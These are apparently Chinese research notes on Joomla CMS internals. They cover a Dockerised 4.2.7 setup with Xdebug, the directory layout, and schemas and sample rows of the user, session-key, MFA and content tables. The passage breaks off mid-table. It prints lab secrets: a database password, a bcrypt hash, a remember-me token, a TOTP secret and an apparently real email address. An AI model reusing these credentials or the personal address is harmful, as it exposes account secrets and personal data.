Joomla 是基于 MVC(Model-View-Controller)架构的内容管理系统。MVC 是一种软件设计范式,用于组织代码以分离内部业务逻辑(模型),用户界面(视图),和用户输入(控制器)
在 Joomla 的 MVC 架构中:
- 模型(Model) 负责数据和业务逻辑,处理数据的存取和转换,通常与数据库的交互也是在模型中进行。
- 视图(View) 负责展示数据,生成用户界面。在 Joomla 中,这通常对应于布局文件和模板,用于定义数据如何在页面上显示。
- 控制器(Controller) 负责接收用户的输入,调用模型进行数据处理,然后选择一个视图进行显示。控制器是模型和视图之间的桥梁,控制数据流和命令流。
0.版本说明
以国外某个不知名网站为例 其中说明了“Custom version for joomla” 这表明该版本为定制版本
使用fofa平台进行各版本的资产统计 发现版本搜索与joomla资产总数实际相差较大 遂不进行主流版本测绘
1.使用研究
目前Joomla-cms官方最新release版本为5.0.2 [截至2024.1.27]
本研究主要使用Joomla提供的官方docker镜像进行部署
1.1 环境搭建
1.1.1 Joomla 4.2.7
Joomla为MVC架构 后续需要进行debug 为镜像注入xdebug并完成相关配置
FROM joomla:4.2.7-php8.1-apache
# 安装 Xdebug
RUN pecl install xdebug-3.1.2 && docker-php-ext-enable xdebug
# 配置 Xdebug
RUN echo 'xdebug.mode=debug' >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo 'xdebug.start_with_request=yes' >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo 'xdebug.client_host=host.docker.internal' >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo 'xdebug.client_port=9000' >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
version: "3.9"
services:
db:
image: mariadb:10.6.4-focal
restart: always
environment:
MYSQL_ROOT_PASSWORD: 123456
MYSQL_DATABASE: joomla
volumes:
- ./database:/var/lib/mysql
joomla:
depends_on:
- db
build:
context: .
dockerfile: Dockerfile
image: joomla:4.2.7-php8.1-apache
restart: always
ports:
- 18081:80
environment:
JOOMLA_DB_HOST: db:3306
JOOMLA_DB_USER: root
JOOMLA_DB_PASSWORD: 123456
volumes:
- ./html:/var/www/html
->docker-compose build
[+] Building 17.3s (7/7) FINISHED docker:orbstack
=> [joomla internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [joomla internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 552B 0.0s
=> [joomla internal] load metadata for docker.io/library/joomla:4.2.7-php8.1-apache 0.0s
=> [joomla 1/3] FROM docker.io/library/joomla:4.2.7-php8.1-apache 0.1s
=> [joomla 2/3] RUN pecl install xdebug-3.1.2 && docker-php-ext-enable xdebug 16.9s
=> [joomla 3/3] RUN echo 'xdebug.mode=debug' >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini && echo 'xdebug.start_with_request=yes' >> /usr/local 0.3s
=> [joomla] exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:5b1aad886fc98215c4ef0f0f0cb8a4b33db167c4c0dd265937858e69448dc3af 0.0s
=> => naming to docker.io/library/joomla:4.2.7-php8.1-apache
->docker-compose up -d
[+] Running 3/3
✔ Network joomla_default Created 0.1s
✔ Container joomla-db-1 Started 0.0s
✔ Container joomla-joomla-1 Started 0.0s
初始化安装过程中值得一提的是发现Joomla对用户默认密码进行了复杂性策略要求 避免了弱口令的使用
相比wordpress 还提供了随机生成的表前缀
1.1.2 Joomla目录结构说明
- LICENSE.txt: 这是Joomla的许可证文件,描述了使用Joomla所需遵守的条款和条件。
- README.txt: 通常包含关于Joomla安装和配置的基础指南。
- administrator/: 包含Joomla后台管理界面的相关文件。这里存放了控制和管理网站的核心文件。
- api/: 用于存放与Joomla的API相关的文件,适用于开发者进行扩展和集成。
- cache/: Joomla用这个目录来存放临时缓存文件,可以提高网站性能。
- cli/: 包含命令行界面脚本,用于执行后台任务。
- components/: 存放Joomla组件文件。组件是Joomla扩展中的主要部分,用于实现网站的核心功能。
- configuration.php: 这是Joomla的主配置文件,包含了网站设置信息,如数据库连接等。
- htaccess.txt: Apache服务器的配置文件。通常重命名为 .htaccess 用于URL重写和网站安全设置。
- images/: 用于存放网站使用的图片文件。
- includes/: 包含Joomla核心的PHP库和文件,这些是运行Joomla所必需的。
- index.php: Joomla网站的主入口文件。
- language/: 存放语言文件,用于支持多语言网站。
- layouts/: 包含用于网站布局的文件,如模块和组件的布局文件。
- libraries/: 包含Joomla使用的各种库文件。
- media/: 用于存储媒体文件,如CSS、JavaScript和其他多媒体文件。
- modules/: 存放Joomla模块。模块是用于添加网站如菜单、用户登录等辅助功能的扩展。
- plugins/: 包含插件文件。插件用于扩展Joomla的核心功能。
- robots.txt: 指导搜索引擎如何索引网站的文件。
- templates/: 存放Joomla模板文件。模板决定了网站的外观和布局。
- tmp/: 临时文件夹,用于存储上传的文件和临时数据。
- web.config.txt: 类似于 .htaccess 文件,但用于IIS服务器。
1.2 数据表结构与内容研究
MariaDB [joomla_db]> show tables;
+-------------------------------+
| Tables_in_joomla_db |
+-------------------------------+
| e2hw1_action_log_config |
| e2hw1_action_logs |
| e2hw1_action_logs_extensions |
| e2hw1_action_logs_users |
| e2hw1_assets |
| e2hw1_associations |
| e2hw1_banner_clients |
| e2hw1_banner_tracks |
| e2hw1_banners |
| e2hw1_categories |
| e2hw1_contact_details |
| e2hw1_content |
| e2hw1_content_frontpage |
| e2hw1_content_rating |
| e2hw1_content_types |
| e2hw1_contentitem_tag_map |
| e2hw1_extensions |
| e2hw1_fields |
| e2hw1_fields_categories |
| e2hw1_fields_groups |
| e2hw1_fields_values |
| e2hw1_finder_filters |
| e2hw1_finder_links |
| e2hw1_finder_links_terms |
| e2hw1_finder_logging |
| e2hw1_finder_taxonomy |
| e2hw1_finder_taxonomy_map |
| e2hw1_finder_terms |
| e2hw1_finder_terms_common |
| e2hw1_finder_tokens |
| e2hw1_finder_tokens_aggregate |
| e2hw1_finder_types |
| e2hw1_history |
| e2hw1_languages |
| e2hw1_mail_templates |
| e2hw1_menu |
| e2hw1_menu_types |
| e2hw1_messages |
| e2hw1_messages_cfg |
| e2hw1_modules |
| e2hw1_modules_menu |
| e2hw1_newsfeeds |
| e2hw1_overrider |
| e2hw1_postinstall_messages |
| e2hw1_privacy_consents |
| e2hw1_privacy_requests |
| e2hw1_redirect_links |
| e2hw1_scheduler_tasks |
| e2hw1_schemas |
| e2hw1_session |
| e2hw1_tags |
| e2hw1_template_overrides |
| e2hw1_template_styles |
| e2hw1_ucm_base |
| e2hw1_ucm_content |
| e2hw1_update_sites |
| e2hw1_update_sites_extensions |
| e2hw1_updates |
| e2hw1_user_keys |
| e2hw1_user_mfa |
| e2hw1_user_notes |
| e2hw1_user_profiles |
| e2hw1_user_usergroup_map |
| e2hw1_usergroups |
| e2hw1_users |
| e2hw1_viewlevels |
| e2hw1_webauthn_credentials |
| e2hw1_workflow_associations |
| e2hw1_workflow_stages |
| e2hw1_workflow_transitions |
| e2hw1_workflows |
+-------------------------------+
71 rows in set (0.002 sec)
表前缀e2hw1_为随机生成 在下文的表结构研究时将忽略
1.2.1 行为日志相关 [action_]
action_log_config, action_logs, action_logs_extensions, action_logs_users
这些数据表用于记录用户在后台的操作日志
action_log_config表结构
MariaDB [joomla_db]> desc action_log_config;
+--------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+--------------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| type_title | varchar(255) | NO | | | |
| type_alias | varchar(255) | NO | | | |
| id_holder | varchar(255) | YES | | NULL | |
| title_holder | varchar(255) | YES | | NULL | |
| table_name | varchar(255) | YES | | NULL | |
| text_prefix | varchar(255) | YES | | NULL | |
+--------------+------------------+------+-----+---------+----------------+
7 rows in set (0.009 sec)
数据内容研究
MariaDB [joomla_db]> select * from action_log_config;
+----+--------------------+-------------------------+--------------+--------------+--------------------+----------------------+
| id | type_title | type_alias | id_holder | title_holder | table_name | text_prefix |
+----+--------------------+-------------------------+--------------+--------------+--------------------+----------------------+
| 1 | article | com_content.article | id | title | #__content | PLG_ACTIONLOG_JOOMLA |
| 2 | article | com_content.form | id | title | #__content | PLG_ACTIONLOG_JOOMLA |
| 3 | banner | com_banners.banner | id | name | #__banners | PLG_ACTIONLOG_JOOMLA |
| 4 | user_note | com_users.note | id | subject | #__user_notes | PLG_ACTIONLOG_JOOMLA |
| 5 | media | com_media.file | | name | | PLG_ACTIONLOG_JOOMLA |
| 6 | category | com_categories.category | id | title | #__categories | PLG_ACTIONLOG_JOOMLA |
| 7 | menu | com_menus.menu | id | title | #__menu_types | PLG_ACTIONLOG_JOOMLA |
| 8 | menu_item | com_menus.item | id | title | #__menu | PLG_ACTIONLOG_JOOMLA |
| 9 | newsfeed | com_newsfeeds.newsfeed | id | name | #__newsfeeds | PLG_ACTIONLOG_JOOMLA |
| 10 | link | com_redirect.link | id | old_url | #__redirect_links | PLG_ACTIONLOG_JOOMLA |
| 11 | tag | com_tags.tag | id | title | #__tags | PLG_ACTIONLOG_JOOMLA |
| 12 | style | com_templates.style | id | title | #__template_styles | PLG_ACTIONLOG_JOOMLA |
| 13 | plugin | com_plugins.plugin | extension_id | name | #__extensions | PLG_ACTIONLOG_JOOMLA |
| 14 | component_config | com_config.component | extension_id | name | | PLG_ACTIONLOG_JOOMLA |
| 15 | contact | com_contact.contact | id | name | #__contact_details | PLG_ACTIONLOG_JOOMLA |
| 16 | module | com_modules.module | id | title | #__modules | PLG_ACTIONLOG_JOOMLA |
| 17 | access_level | com_users.level | id | title | #__viewlevels | PLG_ACTIONLOG_JOOMLA |
| 18 | banner_client | com_banners.client | id | name | #__banner_clients | PLG_ACTIONLOG_JOOMLA |
| 19 | application_config | com_config.application | | name | | PLG_ACTIONLOG_JOOMLA |
| 20 | task | com_scheduler.task | id | title | #__scheduler_tasks | PLG_ACTIONLOG_JOOMLA |
+----+--------------------+-------------------------+--------------+--------------+--------------------+----------------------+
20 rows in set (0.004 sec)
id:自增ID
type_title:行为类型的标题,用于描述行为的一般类别,例如 "article"、"banner"、"user_note" 等。
type_alias:行为的技术别名,通常以 com_ 开头,表示 Joomla 组件(如 "com_content.article" 表示文章内容组件的文章),用于内部识别。
id_holder:表示记录特定行为的数据库表中的 ID 列名。例如,在文章内容表(#__content)中,ID 列被命名为 "id"。
title_holder:表示记录行为相关信息的列名,通常是该行为的标题或名称。如在文章内容表中,文章标题列被命名为 "title"。
table_name与行为相关的数据库表名。Joomla 使用前缀替换来适应不同的数据库前缀,例如 #__content 代表实际的内容表。
text_prefix:于国际化的文本前缀,通常指向语言文件中的特定字符串。在这个例子中,所有行为都使用 "PLG_ACTIONLOG_JOOMLA" 作为前缀。
action_logs表结构
MariaDB [joomla_db]> desc action_logs;
+----------------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------------------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| message_language_key | varchar(255) | NO | | | |
| message | text | NO | | NULL | |
| log_date | datetime | NO | | NULL | |
| extension | varchar(50) | NO | MUL | | |
| user_id | int(11) | NO | MUL | 0 | |
| item_id | int(11) | NO | | 0 | |
| ip_address | varchar(40) | NO | | 0.0.0.0 | |
+----------------------+------------------+------+-----+---------+----------------+
8 rows in set (0.001 sec)
数据内容研究
MariaDB [joomla_db]> select * from action_logs\G;
*************************** 1. row ***************************
id: 1
message_language_key: PLG_ACTIONLOG_JOOMLA_USER_LOGGED_IN
message: {"action":"login","userid":867,"username":"may","accountlink":"index.php?option=com_users&task=user.edit&id=867","app":"PLG_ACTIONLOG_JOOMLA_APPLICATION_SITE"}
log_date: 2024-01-27 07:58:57
extension: com_users
user_id: 867
item_id: 0
ip_address: COM_ACTIONLOGS_DISABLED
1 row in set (0.014 sec)
ERROR: No query specified
id: 这是日志条目的唯一标识符。在这个例子中,它的值是 1,意味着这是第一个记录的行为。
message_language_key: 这是用于国际化的消息键。在这个例子中,它的值是 PLG_ACTIONLOG_JOOMLA_USER_LOGGED_IN,表示这条记录是关于用户登录的。
message: 这是一个 JSON 格式的字符串,包含了行为的具体信息。在这个例子中,它记录了以下信息:
action: 行为类型,在这里是 login。
userid: 执行行为的用户ID,此例中为 867。
username: 用户名,此例中为 may。
accountlink: 指向用户账户编辑页面的链接。
app: 应用程序上下文,此例中是网站应用(PLG_ACTIONLOG_JOOMLA_APPLICATION_SITE)。
log_date: 记录日志的日期和时间。在这个例子中,行为发生在 2024-01-27 07:58:57。
extension: 涉及到的 Joomla 扩展名。在这里,它是 com_users,表明这与用户组件有关。
user_id: 执行行为的用户的ID。与 message 字段中的 userid 相同,此例中也是 867。
item_id: 通常是与行为相关的项的ID。在这个例子中,它的值是 0,可能表示这个特定的行为(登录)没有与特定项直接关联。
ip_address: 记录执行行为的用户的 IP 地址。在这个例子中,值是 COM_ACTIONLOGS_DISABLED,表示 IP 地址的记录被禁用了。
这条记录具体表示用户 may(用户ID 867)在 2024-01-27 07:58:57 通过网站应用成功登录了系统。通过这样的日志记录,网站管理员可以追踪用户的活动,对网站的使用情况有更好的了解。
action_logs_extensions表结构
MariaDB [joomla_db]> desc action_logs_extensions;
+-----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| extension | varchar(255) | NO | | | |
+-----------+------------------+------+-----+---------+----------------+
2 rows in set (0.015 sec)
数据内容研究
MariaDB [joomla_db]> select * from action_logs_extensions;
+----+----------------+
| id | extension |
+----+----------------+
| 1 | com_banners |
| 2 | com_cache |
| 3 | com_categories |
| 4 | com_config |
| 5 | com_contact |
| 6 | com_content |
| 7 | com_installer |
| 8 | com_media |
| 9 | com_menus |
| 10 | com_messages |
| 11 | com_modules |
| 12 | com_newsfeeds |
| 13 | com_plugins |
| 14 | com_redirect |
| 15 | com_tags |
| 16 | com_templates |
| 17 | com_users |
| 18 | com_checkin |
| 19 | com_scheduler |
+----+----------------+
这个表只记录了插件名称 似乎并没有插件对应的日志
action_logs_users表结构
MariaDB [joomla_db]> desc action_logs_users;
+------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------+---------------------+------+-----+---------+-------+
| user_id | int(10) unsigned | NO | PRI | NULL | |
| notify | tinyint(3) unsigned | NO | MUL | NULL | |
| extensions | text | NO | | NULL | |
+------------+---------------------+------+-----+---------+-------+
3 rows in set (0.013 sec)
数据内容研究
MariaDB [joomla_db]> select * from action_logs_users;
Empty set (0.007 sec)
还没有进行相对应的操作 没有记录到日志
1.2.2 用户和权限 [user*]
users表结构
users表用于存储用户账户信息。
MariaDB [joomla_db]> desc users;
+---------------+---------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------+---------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| name | varchar(400) | NO | MUL | | |
| username | varchar(150) | NO | UNI | | |
| email | varchar(100) | NO | MUL | | |
| password | varchar(100) | NO | | | |
| block | tinyint(4) | NO | MUL | 0 | |
| sendEmail | tinyint(4) | YES | | 0 | |
| registerDate | datetime | NO | | NULL | |
| lastvisitDate | datetime | YES | | NULL | |
| activation | varchar(100) | NO | | | |
| params | text | NO | | NULL | |
| lastResetTime | datetime | YES | | NULL | |
| resetCount | int(11) | NO | | 0 | |
| otpKey | varchar(1000) | NO | | | |
| otep | varchar(1000) | NO | | | |
| requireReset | tinyint(4) | NO | | 0 | |
| authProvider | varchar(100) | NO | | | |
+---------------+---------------+------+-----+---------+----------------+
17 rows in set (0.007 sec)
数据内容研究
MariaDB [joomla_db]> select * from e2hw1_users\G;
*************************** 1. row ***************************
id: 867
name: may
username: may
email: 3045056465@qq.com
password: $2y$10$vMTE5lmyqZuONKEk61Ehn.FFu3hUDFA0f4XqEWI59GSvPEAe/RupO
block: 0
sendEmail: 1
registerDate: 2024-01-27 07:58:41
lastvisitDate: 2024-01-27 07:58:57
activation: 0
params:
lastResetTime: NULL
resetCount: 0
otpKey:
otep:
requireReset: 0
authProvider:
1 row in set (0.001 sec)
id: 用户的唯一标识符。
name: 用户的真实姓名或全名。
username: 用户的登录名。
email: 用户的电子邮箱地址。
password: 用户的密码,存储为加密形式。
block: 表示用户是否被禁用。0表示未被禁用,1表示被禁用。
sendEmail: 标识用户是否接收邮件通知。1表示接收,0表示不接收。
registerDate: 用户注册日期和时间。
lastvisitDate: 用户最后一次访问网站的日期和时间。
activation: 用户账户的激活状态。通常用于新用户注册时的电子邮件激活。
params: 存储用户的其他参数或配置信息。
lastResetTime: 上次密码重置的时间。
resetCount: 密码重置次数。
otpKey: 用于双因素认证的密钥。
otep: 一次性使用的双因素认证密码。
requireReset: 表示是否要求用户在下次登录时重置密码。
authProvider: 认证提供者信息。
usergoups表结构
usergroups表用于存储用户组信息。
MariaDB [joomla_db]> desc usergroups;
+-----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| parent_id | int(10) unsigned | NO | MUL | 0 | |
| lft | int(11) | NO | MUL | 0 | |
| rgt | int(11) | NO | | 0 | |
| title | varchar(100) | NO | MUL | | |
+-----------+------------------+------+-----+---------+----------------+
5 rows in set (0.019 sec)
数据内容研究
MariaDB [joomla_db]> select * from e2hw1_usergroups;
+----+-----------+-----+-----+---------------+
| id | parent_id | lft | rgt | title |
+----+-----------+-----+-----+---------------+
| 1 | 0 | 1 | 18 | Public |
| 2 | 1 | 8 | 15 | Registered |
| 3 | 2 | 9 | 14 | Author |
| 4 | 3 | 10 | 13 | Editor |
| 5 | 4 | 11 | 12 | Publisher |
| 6 | 1 | 4 | 7 | Manager |
| 7 | 6 | 5 | 6 | Administrator |
| 8 | 1 | 16 | 17 | Super Users |
| 9 | 1 | 2 | 3 | Guest |
+----+-----------+-----+-----+---------------+
9 rows in set (0.006 sec)
lft 和 rgt: 这两个字段用于存储用户组在树形结构中的位置。
Joomla使用嵌套集模型来管理层级数据。
lft 和 rgt 值用于确定用户组在树中的位置,这有助于快速查询和更新层级结构。
Joomla使用嵌套集模型(即通过lft
和rgt
字段定义的树状数据结构)来进行用户组管理、菜单结构组织、内容分类、访问控制列表(ACL),这使得Joomla能够有效的管理和呈现复杂的层级关系,同时提供高效的查询性能。
user_usergroup_map表结构
MariaDB [joomla_db]> desc user_usergroup_map;
+----------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+------------------+------+-----+---------+-------+
| user_id | int(10) unsigned | NO | PRI | 0 | |
| group_id | int(10) unsigned | NO | PRI | 0 | |
+----------+------------------+------+-----+---------+-------+
2 rows in set (0.011 sec)
user_usergroup_map表用于映射用户与用户组关系
数据内容研究
MariaDB [joomla_db]> select * from user_usergroup_map;
+---------+----------+
| user_id | group_id |
+---------+----------+
| 867 | 8 |
+---------+----------+
1 row in set (0.002 sec)
这表示用户user_id:867(may)属于组group_id:8(Super Users)
user_profiles表结构
user_profiles表用于存储用户自定义配置文件信息
MariaDB [joomla_db]> desc user_profiles;
+---------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------------+--------------+------+-----+---------+-------+
| user_id | int(11) | NO | PRI | NULL | |
| profile_key | varchar(100) | NO | PRI | NULL | |
| profile_value | text | NO | | NULL | |
| ordering | int(11) | NO | | 0 | |
+---------------+--------------+------+-----+---------+-------+
4 rows in set (0.007 sec)
数据内容研究
未产生数据
user_keys表结构
user_keys表用于存储用户密钥信息
MariaDB [joomla_db]> desc user_keys;
+----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| user_id | varchar(150) | NO | MUL | NULL | |
| token | varchar(255) | NO | | NULL | |
| series | varchar(191) | NO | UNI | NULL | |
| time | varchar(200) | NO | | NULL | |
| uastring | varchar(255) | NO | | NULL | |
+----------+------------------+------+-----+---------+----------------+
6 rows in set (0.005 sec)
数据内容研究
MariaDB [joomla_db]> select * from user_keys\G;
*************************** 1. row ***************************
id: 1
user_id: may
token: $2y$10$5oLK0A9Qes8AuyW12HNu/eldw947x8OEU/a2.1MbLU4iM4RA3iUcS
series: eW5yDmlZI36hB4rlmT9n
time: 1711613771
uastring: joomla_remember_me_e87e793cb8ef94820a44b826528c6f62
1 row in set (0.001 sec)
id: 这是该条记录的唯一标识符。
user_id: 这个字段存储用户的ID或用户名。在您的示例中,它是“may”。
token: 登录令牌,这是一个加密的字符串,用于自动登录功能。当用户选择“记住我”选项时,这个令牌被创建并存储在用户的设备上。
series: 这是一个用于识别令牌系列的字符串。如果令牌被盗用,Joomla会检测到系列中的异常行为。
time: 这个字段存储令牌的创建时间或最后使用时间的时间戳。
uastring: 用户代理字符串,用于存储生成令牌时用户浏览器的识别信息。这有助于增加安全性,确保令牌只能在原始浏览器中使用。
user_mfa表结构
user_mfa表用于存储多因素认证信息
MariaDB [joomla_db]> desc e2hw1_user_mfa;
+------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+------------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| user_id | int(10) unsigned | NO | MUL | NULL | |
| title | varchar(255) | NO | | | |
| method | varchar(100) | NO | | NULL | |
| default | tinyint(4) | NO | | 0 | |
| options | mediumtext | NO | | NULL | |
| created_on | datetime | NO | | NULL | |
| last_used | datetime | YES | | NULL | |
+------------+------------------+------+-----+---------+----------------+
8 rows in set (0.009 sec)
数据内容研究
MFA(Multi-Factor Authentication)是一种多因素认证技术,它通常涉及一下三种认证技术
- 知识因素(Something You Know):这是最常见的认证因素,例如密码、PIN码或者安全问题的答案。
- 拥有因素(Something You Have):这涉及到用户必须拥有的物理设备或物品,如手机、安全令牌器、智能卡等。
- 生物因素(Something You Are):这包括生物识别方法,如指纹扫描、面部识别、视网膜扫描或声纹识别等。
- user_notes: 存储关于用户的笔记。
- viewlevels: 存储访问级别信息。
- assets: 存储内容项的权限设置信息。
多因素认证在Joomla中以插件的方式存在 默认未启用 需要在后台启用插件才可以使用
在Joomla中有四种MFA认证方式,兼并了软硬件方式
以第一种动态验证码的方式为例,访问进入得到一个QR码
扫码后得到otpauth://totp/may@localhost?secret=TVMB5TENN3DCV6K7
otpatuh是一种应用层协议,用于生成和验证一次性密码
通过浏览器访问打开了系统设置,设置好对应网站IP等信息后会得到动态验证码
后续进行敏感操作(如管理员用户登录)就会需要输入动态验证码
以上操作是在Macos系统下进行的 Windows经过测试不默认支持otpauth协议 可能需要安装客户端
在我们配置好多因素认证后 user_mfa表多出了如下内容
MariaDB [joomla_db]> select * from user_mfa;
+----+---------+-------+-------------+---------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------+
| id | user_id | title | method | default | options | created_on | last_used |
+----+---------+-------+-------------+---------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------+
| 1 | 867 | ??? | totp | 1 | ###AES128###PkC0YxMo4ci76TJpjeync1DErkgxl9izryariJ+zCrIxQ5T9f515qjb0YS8q+SyE | 2024-01-28 09:04:12 | NULL |
| 2 | 867 | ??? | backupcodes | 0 | ###AES128###qyQT5uHFHliWIvZMXXPifxnzX8Vhcz11SW8ZxKRIkZEx8Pa24W4p0N+eCWB9CTRNzOgW8r7uNb1VaawpCTSssIFZ3K6+EELnty7ppzKWhuvqqhJvYM7HHGko9K83pTFZKYl8DDjXKAdwXTDClKqTV2ytTg47Li5kpv+nUSSj/BU= | 2024-01-28 09:04:12 | NULL |
+----+---------+-------+-------------+---------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------+
2 rows in set (0.002 sec)
其中method字段的totp就是我们所使用的基于时间的一次性密码(Time-based One-Time Password)backupcodes为备份密码
options字段的数据就是通过aes128加密后的信息
user_notes数据格式
user_notes:表用于存储关于用户的笔记
MariaDB [joomla_db]> desc user_notes;
+------------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| user_id | int(10) unsigned | NO | MUL | 0 | |
| catid | int(10) unsigned | NO | MUL | 0 | |
| subject | varchar(100) | NO | | | |
| body | text | NO | | NULL | |
| state | tinyint(4) | NO | | 0 | |
| checked_out | int(10) unsigned | YES | | NULL | |
| checked_out_time | datetime | YES | | NULL | |
| created_user_id | int(10) unsigned | NO | | 0 | |
| created_time | datetime | NO | | NULL | |
| modified_user_id | int(10) unsigned | NO | | 0 | |
| modified_time | datetime | NO | | NULL | |
| review_time | datetime | YES | | NULL | |
| publish_up | datetime | YES | | NULL | |
| publish_down | datetime | YES | | NULL | |
+------------------+------------------+------+-----+---------+----------------+
15 rows in set (0.014 sec)
数据内容研究
空数据 暂时不知道是干嘛的
1.2.3 内容管理 [content*、tags]
content表结构
content表用于存储文章相关信息
MariaDB [joomla_db]> desc content;
+------------------+---------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------------+---------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| asset_id | int(10) unsigned | NO | | 0 | |
| title | varchar(255) | NO | | | |
| alias | varchar(400) | NO | MUL | | |
| introtext | mediumtext | NO | | NULL | |
| fulltext | mediumtext | NO | | NULL | |
| state | tinyint(4) | NO | MUL | 0 | |
| catid | int(10) unsigned | NO | MUL | 0 | |
| created | datetime | NO | | NULL | |
| created_by | int(10) unsigned | NO | MUL | 0 | |
| created_by_alias | varchar(255) | NO | | | |
| modified | datetime | NO | | NULL | |
| modified_by | int(10) unsigned | NO | | 0 | |
| checked_out | int(10) unsigned | YES | MUL | NULL | |
| checked_out_time | datetime | YES | | NULL | |
| publish_up | datetime | YES | | NULL | |
| publish_down | datetime | YES | | NULL | |
| images | text | NO | | NULL | |
| urls | text | NO | | NULL | |
| attribs | varchar(5120) | NO | | NULL | |
| version | int(10) unsigned | NO | | 1 | |
| ordering | int(11) | NO | | 0 | |
| metakey | text | YES | | NULL | |
| metadesc | text | NO | | NULL | |
| access | int(10) unsigned | NO | MUL | 0 | |
| hits | int(10) unsigned | NO | | 0 | |
| metadata | text | NO | | NULL | |
| featured | tinyint(3) unsigned | NO | MUL | 0 | |
| language | char(7) | NO | MUL | NULL | |
| note | varchar(255) | NO | | | |
+------------------+---------------------+------+-----+---------+----------------+
30 rows in set (0.004 sec)
数据内容研究
MariaDB [joomla_db]> select * from content\G;
*************************** 1. row ***************************
id: 1
asset_id: 92
title: A test page.
alias: a-test-page
introtext: <p>Tomorrow will be better</p>
fulltext:
state: 2
catid: 2
created: 2024-01-28 11:00:29
created_by: 867
created_by_alias:
modified: 2024-01-28 11:16:43
modified_by: 867
checked_out: NULL
checked_out_time: NULL
publish_up: 2024-01-28 11:00:29
publish_down: NULL
images: {"image_intro":"","image_intro_alt":"","float_intro":"","image_intro_caption":"","image_fulltext":"","image_fulltext_alt":"","float_fulltext":"","image_fulltext_caption":""}
urls: {"urla":"","urlatext":"","targeta":"","urlb":"","urlbtext":"","targetb":"","urlc":"","urlctext":"","targetc":""}
attribs: {"article_layout":"","show_title":"","link_titles":"","show_tags":"","show_intro":"","info_block_position":"","info_block_show_title":"","show_category":"","link_category":"","show_parent_category":"","link_parent_category":"","show_author":"","link_author":"","show_create_date":"","show_modify_date":"","show_publish_date":"","show_item_navigation":"","show_hits":"","show_noauth":"","urls_position":"","alternative_readmore":"","article_page_title":"","show_publishing_options":"","show_article_options":"","show_urls_images_backend":"","show_urls_images_frontend":""}
version: 3
ordering: 0
metakey:
metadesc:
access: 1
hits: 5
metadata: {"robots":"","author":"","rights":""}
featured: 0
language: *
note:
1 row in set (0.001 sec)
id: 文章的唯一标识符。
asset_id: 与该文章关联的资产(asset)ID,用于权限控制。
title: 文章的标题。
alias: 文章的别名,通常用于SEO友好的URL。
introtext: 文章的简介或摘要部分。
fulltext: 文章的完整内容。
state: 文章的发布状态(例如,发布、未发布、已归档等)。
catid: 文章所属分类的ID。
created: 文章创建的日期和时间。
created_by: 创建文章的用户ID。
modified: 文章最后修改的日期和时间。
modified_by: 最后修改文章的用户ID。
checked_out 和 checked_out_time: 记录哪个用户正在编辑文章,以防止同时编辑。
publish_up 和 publish_down: 文章的开始和结束发布时间。
images 和 urls: 存储与文章相关的图片和URL的JSON数据。
attribs: 文章的属性设置,如布局、显示标题等,存储为JSON格式。
version: 文章的版本号。
ordering: 在分类中的排序顺序。
metakey 和 metadesc: 文章的关键字和描述,用于搜索引擎优化。
access: 访问级别ID。
hits: 文章的浏览次数。
metadata: 存储额外的元数据,如作者、版权信息等。
featured: 是否被标记为特色文章。
language: 文章的语言。
note: 文章的注释或备注。
categories表结构
categories表用于存储内容的分类信息。
MariaDB [joomla_db]> desc categories;
+------------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| asset_id | int(10) unsigned | NO | | 0 | |
| parent_id | int(10) unsigned | NO | | 0 | |
| lft | int(11) | NO | MUL | 0 | |
| rgt | int(11) | NO | | 0 | |
| level | int(10) unsigned | NO | | 0 | |
| path | varchar(400) | NO | MUL | | |
| extension | varchar(50) | NO | MUL | | |
| title | varchar(255) | NO | | | |
| alias | varchar(400) | NO | MUL | | |
| note | varchar(255) | NO | | | |
| description | mediumtext | YES | | NULL | |
| published | tinyint(4) | NO | | 0 | |
| checked_out | int(10) unsigned | YES | MUL | NULL | |
| checked_out_time | datetime | YES | | NULL | |
